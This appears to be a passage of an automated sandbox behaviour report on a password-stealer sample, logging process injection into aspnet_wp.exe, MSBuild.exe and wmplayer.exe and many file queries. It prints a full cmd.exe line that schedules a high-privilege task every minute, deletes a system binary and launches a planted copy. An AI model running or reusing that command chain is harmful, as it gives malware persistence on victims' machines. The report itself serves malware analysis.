Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 43C000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 43D000
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: BA8D82A010
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140001000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 14002C000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 14003F000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140043000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140046000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140047000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140057000
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 7A5BE9D010
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 406000
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 408000
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 848008
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 140000000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 140001000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 14000B000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 14000E000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 1402C5000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 1402C6000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 1402C7000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 1402C8000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: 1402C9000
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Memory written: C:\Program Files\Windows Media Player\wmplayer.exe base: A096187010

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\spczxf.exe "C:\Users\user\AppData\Local\Temp\spczxf.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\ohvrxt.exe "C:\Users\user\AppData\Local\Temp\ohvrxt.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\hgzxhw.exe "C:\Users\user\AppData\Local\Temp\hgzxhw.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\utntwb.exe "C:\Users\user\AppData\Local\Temp\utntwb.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 432 -s 1216	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 2908 -ip 2908	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2908 -s 3156	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 496 -p 1384 -ip 1384	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1384 -s 1200	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 3660 -ip 3660	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3660 -s 3136	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 5788 -ip 5788	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5788 -s 3120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe"
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc minute /tr "c:\users\user\appdata\local\servicehub\msbuild.exe" /rl highest /f && del /f /s /q /a "c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe" &&start "" "c:\users\user\appdata\local\servicehub\msbuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc minute /tr "c:\users\user\appdata\local\servicehub\msbuild.exe" /rl highest /f && del /f /s /q /a "c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe" &&start "" "c:\users\user\appdata\local\servicehub\msbuild.exe"

Source: C:\Windows\System32\svchost.exe

Code function: 2_2_00000142DB1542F0 cpuid

2_2_00000142DB1542F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\spczxf.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AdoNetDiag.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_filter.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Aspnet_perf.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrcompression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\compatjit.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CORPerfMonExt.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Culture.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfdll.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FileTracker.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Activities.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Activities.Build\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Activities.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Conversion.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Conversion.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Engine.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Engine\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Tasks.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Tasks.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Utilities.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Utilities.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Utilities.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Data.Entity.Build.Tasks.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Internal.Tasks.Dataflow.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Internal.Tasks.Dataflow\v4.0_4.0.0.0__b77a5c561934e089\Microsoft.Internal.Tasks.Dataflow.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Transactions.Bridge.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Transactions.Bridge\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.VisualBasic.Activities.Compiler\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.VisualBasic.Activities.Compiler\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.VisualBasic.Activities.Compiler\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.Compatibility.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic.Compatibility.Data\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Compatibility.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.Compatibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic.Compatibility\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Compatibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualC\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualC.Dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualC.STLCLR.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualC.STLCLR\v4.0_2.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualC.STLCLR.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Win32.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Win32.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Win32.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Windows.ApplicationServer.Applications.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.ApplicationServer.Applications\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Windows.ApplicationServer.Applications.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MmcAspExt.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordacwks.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordbi.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll VolumeInformation
